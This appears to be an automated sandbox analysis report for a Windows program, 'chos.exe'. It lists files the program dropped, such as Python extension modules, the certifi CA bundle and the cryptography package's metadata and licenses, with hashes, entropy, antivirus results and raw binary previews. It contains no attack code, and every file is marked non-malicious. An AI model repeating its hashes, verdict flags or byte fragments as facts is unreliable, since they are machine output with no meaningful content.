                                                                                                                                                                                                                                            SSDEEP:3072:kO+IWyXHllRhN1qhep7fM6CpqjZI8u7pUULbaLZErWreVEzvT3iFCNc6tYwJc1OW:kpSrhN1E2M6CpUuwg5dEW7
                                                                                                                                                                                                                                            MD5:1C0E3E447F719FBE2601D0683EA566FC
                                                                                                                                                                                                                                            SHA1:5321AB73B36675B238AB3F798C278195223CD7B1
                                                                                                                                                                                                                                            SHA-256:63AE2FEFBFBBBC6EA39CDE0A622579D46FF55134BC8C1380289A2976B61F603E
                                                                                                                                                                                                                                            SHA-512:E1A430DA2A2F6E0A1AED7A76CC4CD2760B3164ABC20BE304C1DB3541119942508E53EA3023A52B8BADA17A6052A7A51A4453EFAD1A888ACB3B196881226C2E5C
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......FM.^.,k..,k..,k..T...,k...j..,k...h..,k...o..,k...n..,k.J.j..,k...j..,k..,j..-k.ITj..,k.J.f..,k.J.k..,k.J....,k.J.i..,k.Rich.,k.................PE..d......g.........." ...)............ /..............................................R\....`.............................................d................................/..............T...........................P...@............................................text...0........................... ..`.rdata..D%.......&..................@..@.data...`...........................@....pdata...............n..............@..@.rsrc................z..............@..@.reloc..............................@..B................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\_uuid.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):25872
                                                                                                                                                                                                                                            Entropy (8bit):6.591600232213824
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:384:bROw4TUyiIWlIJ0wsaHQIYiSy1pCQxHoQSJIVE8E9VF0NyEIkz:4w4TUyfWlIJ0wT5YiSyvBk2E3kz
                                                                                                                                                                                                                                            MD5:3ACF3138D5550CA6DE7E2580E076E0F7
                                                                                                                                                                                                                                            SHA1:3E878A18DF2362AA6F0BDBFA058DCA115E70D0B8
                                                                                                                                                                                                                                            SHA-256:F9D5008F0772AA0720BC056A6ECD5A2A3F24965E4B470B022D88627A436C1FFE
                                                                                                                                                                                                                                            SHA-512:F05E90A0FEAA2994B425884AF32149FBBE2E11CB7499FC88CA92D8A74410EDCD62B2B2C0F1ECD1A46985133F7E89575F2C114BD01F619C22CE52F3CF2A7E37C4
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........p..#..#..#..\#..#..."..#..."..#..."..#..."..#..."..#..."..#..#...#..."..#..."..#..0#..#..."..#Rich..#........PE..d.....g.........." ...).....&......................................................".....`.........................................p9..L....9..x....`.......P.......6.../...p..@...`3..T........................... 2..@............0..8............................text...h........................... ..`.rdata.......0......................@..@.data...p....@.......&..............@....pdata.......P.......(..............@..@.rsrc........`.......*..............@..@.reloc..@....p.......4..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\_wmi.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):38160
                                                                                                                                                                                                                                            Entropy (8bit):6.338856805460127
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:768:fEkK9VgWOZbs3550QcJpPllIJLiX5YiSyvQ602Euf0:fE93jkbQcJvlIJLiJ7Syq00
                                                                                                                                                                                                                                            MD5:1C30CC7DF3BD168D883E93C593890B43
                                                                                                                                                                                                                                            SHA1:31465425F349DAE4EDAC9D0FEABC23CE83400807
                                                                                                                                                                                                                                            SHA-256:6435C679A3A3FF4F16708EBC43F7CA62456C110AC1EA94F617D8052C90C143C7
                                                                                                                                                                                                                                            SHA-512:267A1807298797B190888F769D998357B183526DFCB25A6F1413E64C5DCCF87F51424B7E5D6F2349D7A19381909AB23B138748D8D9F5858F7DC0552F5C5846AC
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........H2.&a.&a.&a..a.&a..'`.&a..%`.&a.."`.&a..'`.&a..#`.&a..'`.&a.'a..&a.."`.&a../`.&a..&`.&a...a.&a..$`.&aRich.&a................PE..d.....g.........." ...).,...<.......)..............................................'.....`.........................................0V..H...xV.......................f.../......x...tG..T............................C..@............@.......T..@....................text....*.......,.................. ..`.rdata..d ...@..."...0..............@..@.data........p.......R..............@....pdata...............V..............@..@.rsrc................Z..............@..@.reloc..x............d..............@..B................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\base_library.zip

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:Zip archive data, at least v2.0 to extract, compression method=store
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):1394456
                                                                                                                                                                                                                                            Entropy (8bit):5.531698507573688
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:12288:IW7WpLV6yNLeGQbVz3YQfiBgDPtLwjFx278e6ZQnHS91lqyL+DXUgnxOr+dx5/GO:B7WpLtHa9BHSHAW+dx5/GP05vddD
                                                                                                                                                                                                                                            MD5:A9CBD0455B46C7D14194D1F18CA8719E
                                                                                                                                                                                                                                            SHA1:E1B0C30BCCD9583949C247854F617AC8A14CBAC7
                                                                                                                                                                                                                                            SHA-256:DF6C19637D239BFEDC8CD13D20E0938C65E8FDF340622FF334DB533F2D30FA19
                                                                                                                                                                                                                                            SHA-512:B92468E71490A8800E51410DF7068DD8099E78C79A95666ECF274A9E9206359F049490B8F60B96081FAFD872EC717E67020364BCFA972F26F0D77A959637E528
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:PK..........!..b.e............_collections_abc.pyc......................................\.....S.r.S.S.K.J.r.J.r. .S.S.K.r.\.".\.\.....5.......r.\.".S.5.......r.S...r.\.".\.5.......r.C./.S.Q.r.S.r.\.".\.".S.5.......5.......r.\.".\.".\.".5.......5.......5.......r.\.".\.".0.R%..................5.......5.......5.......r.\.".\.".0.R)..................5.......5.......5.......r.\.".\.".0.R-..................5.......5.......5.......r.\.".\."./.5.......5.......r.\.".\.".\."./.5.......5.......5.......r.\.".\.".\.".S.5.......5.......5.......r.\.".\.".\.".S.S.-...5.......5.......5.......r.\.".\.".\.".5.......5.......5.......r.\.".\.".S.5.......5.......r \.".\.".S.5.......5.......r!\.".\.".\"".5.......5.......5.......r#\.".0.R%..................5.......5.......r$\.".0.R)..................5.......5.......r%\.".0.R-..................5.......5.......r&\.".\.RN..................5.......r(S...r)\)".5.......r*C)\.".S...".5.......5.......r+S...r,\,".5.......r,\.".\,5.......r-\,R]..................5.......

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\certifi\cacert.pem

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:ASCII text
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):299427
                                                                                                                                                                                                                                            Entropy (8bit):6.047872935262006
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:6144:QW1x/M8fRR1jplkXURrVADwYCuCigT/QRSRqNb7d8iu5Nahx:QWb/TRJLWURrI5RWavdF08/
                                                                                                                                                                                                                                            MD5:50EA156B773E8803F6C1FE712F746CBA
                                                                                                                                                                                                                                            SHA1:2C68212E96605210EDDF740291862BDF59398AEF
                                                                                                                                                                                                                                            SHA-256:94EDEB66E91774FCAE93A05650914E29096259A5C7E871A1F65D461AB5201B47
                                                                                                                                                                                                                                            SHA-512:01ED2E7177A99E6CB3FBEF815321B6FA036AD14A3F93499F2CB5B0DAE5B713FD2E6955AA05F6BDA11D80E9E0275040005E5B7D616959B28EFC62ABB43A3238F0
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:.# Issuer: CN=GlobalSign Root CA O=GlobalSign nv-sa OU=Root CA.# Subject: CN=GlobalSign Root CA O=GlobalSign nv-sa OU=Root CA.# Label: "GlobalSign Root CA".# Serial: 4835703278459707669005204.# MD5 Fingerprint: 3e:45:52:15:09:51:92:e1:b7:5d:37:9f:b1:87:29:8a.# SHA1 Fingerprint: b1:bc:96:8b:d4:f4:9d:62:2a:a8:9a:81:f2:15:01:52:a4:1d:82:9c.# SHA256 Fingerprint: eb:d4:10:40:e4:bb:3e:c7:42:c9:e3:81:d3:1e:f2:a4:1a:48:b6:68:5c:96:e7:ce:f3:c1:df:6c:d4:33:1c:99.-----BEGIN CERTIFICATE-----.MIIDdTCCAl2gAwIBAgILBAAAAAABFUtaw5QwDQYJKoZIhvcNAQEFBQAwVzELMAkG.A1UEBhMCQkUxGTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYtc2ExEDAOBgNVBAsTB1Jv.b3QgQ0ExGzAZBgNVBAMTEkdsb2JhbFNpZ24gUm9vdCBDQTAeFw05ODA5MDExMjAw.MDBaFw0yODAxMjgxMjAwMDBaMFcxCzAJBgNVBAYTAkJFMRkwFwYDVQQKExBHbG9i.YWxTaWduIG52LXNhMRAwDgYDVQQLEwdSb290IENBMRswGQYDVQQDExJHbG9iYWxT.aWduIFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDaDuaZ.jc6j40+Kfvvxi4Mla+pIH/EqsLmVEQS98GPR4mdmzxzdzxtIK+6NiY6arymAZavp.xy0Sy6scTHAHoT0KMM0VjU/43dSMUBUc71DuxC73/OlS8pF94G3VNTCOXkNz

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\charset_normalizer\md.cp313-win_amd64.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):10752
                                                                                                                                                                                                                                            Entropy (8bit):4.818583535960129
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:96:Mvs10hZd9D74ACb0xx2uKynu10YLsgxwJiUNiL0U5IZsJFPGDtCFCCQAADo+cX6m:MXv9XFCk2z1/t12iwU5usJFuCyPcqgE
                                                                                                                                                                                                                                            MD5:56FE4F6C7E88212161F49E823CCC989A
                                                                                                                                                                                                                                            SHA1:16D5CBC5F289AD90AEAA4FF7CB828627AC6D4ACF
                                                                                                                                                                                                                                            SHA-256:002697227449B6D69026D149CFB220AC85D83B13056C8AA6B9DAC3FD3B76CAA4
                                                                                                                                                                                                                                            SHA-512:7C9D09CF9503F73E6F03D30E54DBB50606A86D09B37302DD72238880C000AE2B64C99027106BA340753691D67EC77B3C6E5004504269508F566BDB5E13615F1E
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k............r_...........r................................................3..........Rich....................PE..d....$.g.........." ...).....................................................p............`..........................................'..p...`(..d....P.......@...............`..,...`#.............................. "..@............ ...............................text............................... ..`.rdata....... ......................@..@.data........0......."..............@....pdata.......@.......$..............@..@.rsrc........P.......&..............@..@.reloc..,....`.......(..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\charset_normalizer\md__mypyc.cp313-win_amd64.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):124928
                                                                                                                                                                                                                                            Entropy (8bit):5.953784637413928
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:3072:JDE+0ov6ojgN3qN8h51Zlh+YW5E38vCsmLS:JdefPZE2ICDLS
                                                                                                                                                                                                                                            MD5:10116447F9276F10664BA85A5614BA3A
                                                                                                                                                                                                                                            SHA1:EFD761A3E6D14E897D37AFB0C7317C797F7AE1D6
                                                                                                                                                                                                                                            SHA-256:C393098E7803ABF08EE8F7381AD7B0F8FAFFBF66319C05D72823308E898F8CFC
                                                                                                                                                                                                                                            SHA-512:C04461E52B7FE92D108CBDEB879B7A8553DD552D79C88DFA3F5D0036EED8D4B8C839C0BF2563BC0C796F8280ED2828CA84747CB781D2F26B44214FCA2091EAE4
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........y.....................7...............7.......7.......7.......6..........D....6.......6.......6.......6......Rich............................PE..d....$.g.........." ...).@...........C.......................................0............`.........................................0...d.................................... ......................................P...@............P...............................text....?.......@.................. ..`.rdata..nY...P...Z...D..............@..@.data....=.......0..................@....pdata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\cryptography-44.0.0.dist-info\INSTALLER

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:ASCII text
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):4
                                                                                                                                                                                                                                            Entropy (8bit):1.5
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:3:Mn:M
                                                                                                                                                                                                                                            MD5:365C9BFEB7D89244F2CE01C1DE44CB85
                                                                                                                                                                                                                                            SHA1:D7A03141D5D6B1E88B6B59EF08B6681DF212C599
                                                                                                                                                                                                                                            SHA-256:CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
                                                                                                                                                                                                                                            SHA-512:D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:pip.

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\cryptography-44.0.0.dist-info\METADATA

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:ASCII text
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):5724
                                                                                                                                                                                                                                            Entropy (8bit):5.120429897887076
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:96:DlkQIUQIhQIKQILbQIRIaMPktjaVMxsxA2ncEvGDfe0HEdwGArNZG0JQTQCQx5Kw:dcPuPwsrcEvGDfe0HENA5w0JQTQ9x59H
                                                                                                                                                                                                                                            MD5:526D9AC9D8150602EC9ED8B9F4DE7102
                                                                                                                                                                                                                                            SHA1:DBA2CB32C21C4B0F575E77BBCDD4FA468056F5E3
                                                                                                                                                                                                                                            SHA-256:D95F491ED418DC302DB03804DAF9335CE21B2DF4704587E6851EF03E1F84D895
                                                                                                                                                                                                                                            SHA-512:FB13A2F6B64CB7E380A69424D484FC9B8758FA316A7A155FF062BFDACDCA8F2C5D2A03898CD099688B1C16A5A0EDCECFC42BF0D4D330926B10C3FCE9F5238643
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:Metadata-Version: 2.3.Name: cryptography.Version: 44.0.0.Classifier: Development Status :: 5 - Production/Stable.Classifier: Intended Audience :: Developers.Classifier: License :: OSI Approved :: Apache Software License.Classifier: License :: OSI Approved :: BSD License.Classifier: Natural Language :: English.Classifier: Operating System :: MacOS :: MacOS X.Classifier: Operating System :: POSIX.Classifier: Operating System :: POSIX :: BSD.Classifier: Operating System :: POSIX :: Linux.Classifier: Operating System :: Microsoft :: Windows.Classifier: Programming Language :: Python.Classifier: Programming Language :: Python :: 3.Classifier: Programming Language :: Python :: 3 :: Only.Classifier: Programming Language :: Python :: 3.7.Classifier: Programming Language :: Python :: 3.8.Classifier: Programming Language :: Python :: 3.9.Classifier: Programming Language :: Python :: 3.10.Classifier: Programming Language :: Python :: 3.11.Classifier: Programming Language :: Python :: 3.12.Classif

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\cryptography-44.0.0.dist-info\RECORD

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:CSV text
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):16286
                                                                                                                                                                                                                                            Entropy (8bit):5.5843411690874865
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:192:hXy1uJ/l45jEVeK8RThXsI4WJi6LAciTwqUIq+NX6ih5V3Uqd8q:hXFlMEVd2sIJi6LAciTwqU/+96ihL8q
                                                                                                                                                                                                                                            MD5:14AC8030DE12534736F742CE05989BD6
                                                                                                                                                                                                                                            SHA1:5495082B702CC31048065B1F6546AF487CB0BC00
                                                                                                                                                                                                                                            SHA-256:B593F9EDEAA8BA8B3F8DD147D52A27D904E812E544980265DF234D3958B12517
                                                                                                                                                                                                                                            SHA-512:B1960D3485E44AA6F4FE7C0023AEEBB4FA00CC16F0340F2C90CB5FCBF2D1C32FDC4FBFB8546EA0C740AA44D72F9A8810F8421C65227F9182972491A1DFDFFEBC
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:cryptography-44.0.0.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..cryptography-44.0.0.dist-info/METADATA,sha256=2V9JHtQY3DAtsDgE2vkzXOIbLfRwRYfmhR7wPh-E2JU,5724..cryptography-44.0.0.dist-info/RECORD,,..cryptography-44.0.0.dist-info/WHEEL,sha256=Hn9bytZpOGoR6M4U5xUTHC1AJpPD9B1xPrM4STxljEU,94..cryptography-44.0.0.dist-info/licenses/LICENSE,sha256=Pgx8CRqUi4JTO6mP18u0BDLW8amsv4X1ki0vmak65rs,197..cryptography-44.0.0.dist-info/licenses/LICENSE.APACHE,sha256=qsc7MUj20dcRHbyjIJn2jSbGRMaBOuHk8F9leaomY_4,11360..cryptography-44.0.0.dist-info/licenses/LICENSE.BSD,sha256=YCxMdILeZHndLpeTzaJ15eY9dz2s0eymiSMqtwCPtPs,1532..cryptography/__about__.py,sha256=fcUqF1IcadxBSH0us1vCvob0OJOrPV3h30yZD8wsHo4,445..cryptography/__init__.py,sha256=XsRL_PxbU6UgoyoglAgJQSrJCP97ovBA8YIEQ2-uI68,762..cryptography/__pycache__/__about__.cpython-313.pyc,,..cryptography/__pycache__/__init__.cpython-313.pyc,,..cryptography/__pycache__/exceptions.cpython-313.pyc,,..cryptography/__pycache__/fernet

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\cryptography-44.0.0.dist-info\WHEEL

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:ASCII text
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):94
                                                                                                                                                                                                                                            Entropy (8bit):5.0373614967294325
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:3:RtEeX5pG6vhP+tkKciH/KQb:RtvoKWKTQb
                                                                                                                                                                                                                                            MD5:A868F93FCF51C4F1C25658D54F994349
                                                                                                                                                                                                                                            SHA1:535C88A10911673DEABB7889D365E81729E483A6
                                                                                                                                                                                                                                            SHA-256:1E7F5BCAD669386A11E8CE14E715131C2D402693C3F41D713EB338493C658C45
                                                                                                                                                                                                                                            SHA-512:EC13CAC9DF03676640EF5DA033E8C2FAEE63916F27CC27B9C43F0824B98AB4A6ECB4C8D7D039FA6674EF189BDD9265C8ED509C1D80DFF610AEB9E081093AEB3D
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:Wheel-Version: 1.0.Generator: maturin (1.7.5).Root-Is-Purelib: false.Tag: cp39-abi3-win_amd64.

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\cryptography-44.0.0.dist-info\licenses\LICENSE

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:ASCII text
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):197
                                                                                                                                                                                                                                            Entropy (8bit):4.61968998873571
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:3:hWDncJhByZmJgXPForADu1QjygQuaAJygT2d5GeWreLRuOFEXAYeBKmJozlMHuO:h9Co8FyQjkDYc5tWreLBF/pn2mH1
                                                                                                                                                                                                                                            MD5:8C3617DB4FB6FAE01F1D253AB91511E4
                                                                                                                                                                                                                                            SHA1:E442040C26CD76D1B946822CAF29011A51F75D6D
                                                                                                                                                                                                                                            SHA-256:3E0C7C091A948B82533BA98FD7CBB40432D6F1A9ACBF85F5922D2F99A93AE6BB
                                                                                                                                                                                                                                            SHA-512:77A1919E380730BCCE5B55D76FBFFBA2F95874254FAD955BD2FE1DE7FC0E4E25B5FDAAB0FEFFD6F230FA5DC895F593CF8BFEDF8FDC113EFBD8E22FADAB0B8998
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:This software is made available under the terms of *either* of the licenses.found in LICENSE.APACHE or LICENSE.BSD. Contributions to cryptography are made.under the terms of *both* these licenses..

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\cryptography-44.0.0.dist-info\licenses\LICENSE.APACHE

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:ASCII text
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):11360
                                                                                                                                                                                                                                            Entropy (8bit):4.426756947907149
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:192:nUDG5KXSD9VYUKhu1JVF9hFGvV/QiGkS594drFjuHYx5dvTrLh3kTSEnQHbHR:UIvlKM1zJlFvmNz5VrlkTS0QHt
                                                                                                                                                                                                                                            MD5:4E168CCE331E5C827D4C2B68A6200E1B
                                                                                                                                                                                                                                            SHA1:DE33EAD2BEE64352544CE0AA9E410C0C44FDF7D9
                                                                                                                                                                                                                                            SHA-256:AAC73B3148F6D1D7111DBCA32099F68D26C644C6813AE1E4F05F6579AA2663FE
                                                                                                                                                                                                                                            SHA-512:F451048E81A49FBFA11B49DE16FF46C52A8E3042D1BCC3A50AAF7712B097BED9AE9AED9149C21476C2A1E12F1583D4810A6D36569E993FE1AD3879942E5B0D52
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:. Apache License. Version 2.0, January 2004. https://www.apache.org/licenses/.. TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION.. 1. Definitions... "License" shall mean the terms and conditions for use, reproduction,. and distribution as defined by Sections 1 through 9 of this document... "Licensor" shall mean the copyright owner or entity authorized by. the copyright owner that is granting the License... "Legal Entity" shall mean the union of the acting entity and all. other entities that control, are controlled by, or are under common. control with that entity. For the purposes of this definition,. "control" means (i) the power, direct or indirect, to cause the. direction or management of such entity, whether by contract or. otherwise, or (ii) ownership of fifty percent (50%) or more of the. outstanding shares, or (iii) beneficial ow

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\cryptography-44.0.0.dist-info\licenses\LICENSE.BSD

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:ASCII text
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):1532
                                                                                                                                                                                                                                            Entropy (8bit):5.058591167088024
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:24:MjUnoorbOFFTJJyRrYFTjzMbmqEvBTP4m96432s4EOkUTKQROJ32s3yxsITf+3tY:MkOFJSrYJsaN5P406432svv32s3EsIqm
                                                                                                                                                                                                                                            MD5:5AE30BA4123BC4F2FA49AA0B0DCE887B
                                                                                                                                                                                                                                            SHA1:EA5B412C09F3B29BA1D81A61B878C5C16FFE69D8
                                                                                                                                                                                                                                            SHA-256:602C4C7482DE6479DD2E9793CDA275E5E63D773DACD1ECA689232AB7008FB4FB
                                                                                                                                                                                                                                            SHA-512:DDBB20C80ADBC8F4118C10D3E116A5CD6536F72077C5916D87258E155BE561B89EB45C6341A1E856EC308B49A4CB4DBA1408EABD6A781FBE18D6C71C32B72C41
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:Copyright (c) Individual contributors..All rights reserved...Redistribution and use in source and binary forms, with or without.modification, are permitted provided that the following conditions are met:.. 1. Redistributions of source code must retain the above copyright notice,. this list of conditions and the following disclaimer... 2. Redistributions in binary form must reproduce the above copyright. notice, this list of conditions and the following disclaimer in the. documentation and/or other materials provided with the distribution... 3. Neither the name of PyCA Cryptography nor the names of its contributors. may be used to endorse or promote products derived from this software. without specific prior written permission...THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND.ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED.WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOS

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\cryptography\hazmat\bindings\_rust.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):8292864
                                                                                                                                                                                                                                            Entropy (8bit):6.493076254122072
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:98304:Y4sf3zg+qUuQdPJMqYLSxuBLZqwt0kDO+5+O:cdeqYLSxuBLZrGjq+
                                                                                                                                                                                                                                            MD5:34293B976DA366D83C12D8EE05DE7B03
                                                                                                                                                                                                                                            SHA1:82B8EB434C26FCC3A5D9673C9B93663C0FF9BF15
                                                                                                                                                                                                                                            SHA-256:A2285C3F2F7E63BA8A17AB5D0A302740E6ADF7E608E0707A7737C1EC3BD8CECC
                                                                                                                                                                                                                                            SHA-512:0807EC7515186F0A989BB667150A84FF3BEBCC248625597BA0BE3C6F07AD60D70CF8A3F65191436EC16042F446D4248BF92FCD02212E459405948DB10F078B8E
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........Y.j...j...j....F..j.......j.......j.......j.......j.......j.......j...j...h.......i...j...j.......j.......j..Rich.j..........................PE..d....^Gg.........." ...*.R\..n"......~Z.......................................~...........`...........................................x.X.....x...............y...............~.......o.T.....................o.(...p.o.@............p\.8............................text....Q\......R\................. ..`.rdata..P9...p\..:...V\.............@..@.data... >....x.......x.............@....pdata........y.......y.............@..@.reloc........~.......}.............@..B........................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\libcrypto-3.dll

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):5232408
                                                                                                                                                                                                                                            Entropy (8bit):5.940072183736028
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:98304:/V+Qs2NuR5YV0L8PQ1CPwDvt3uFlDC4SC9c:9rs2NuDYV0L841CPwDvt3uFlDC4SCa
